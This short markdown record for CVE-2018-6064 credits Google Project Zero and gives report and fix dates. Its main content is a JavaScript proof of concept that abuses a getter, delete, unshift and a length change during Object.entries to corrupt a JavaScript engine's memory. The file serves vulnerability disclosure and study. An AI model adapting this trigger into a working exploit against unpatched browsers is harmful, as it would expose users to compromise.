CVE-2018-6064.md

CVE-2018-6064

• Report: Jan 2018
• Fix: Jan 2018
• Credit: lokihardt of Google Project Zero

PoC

let arr = [];
arr[1000] = 0x1234;

arr.__defineGetter__(256, function () {
    delete arr[256];

    arr.unshift(1.1);
    arr.length = 0;
});

Object.entries(arr).toString();

Reference

• Issue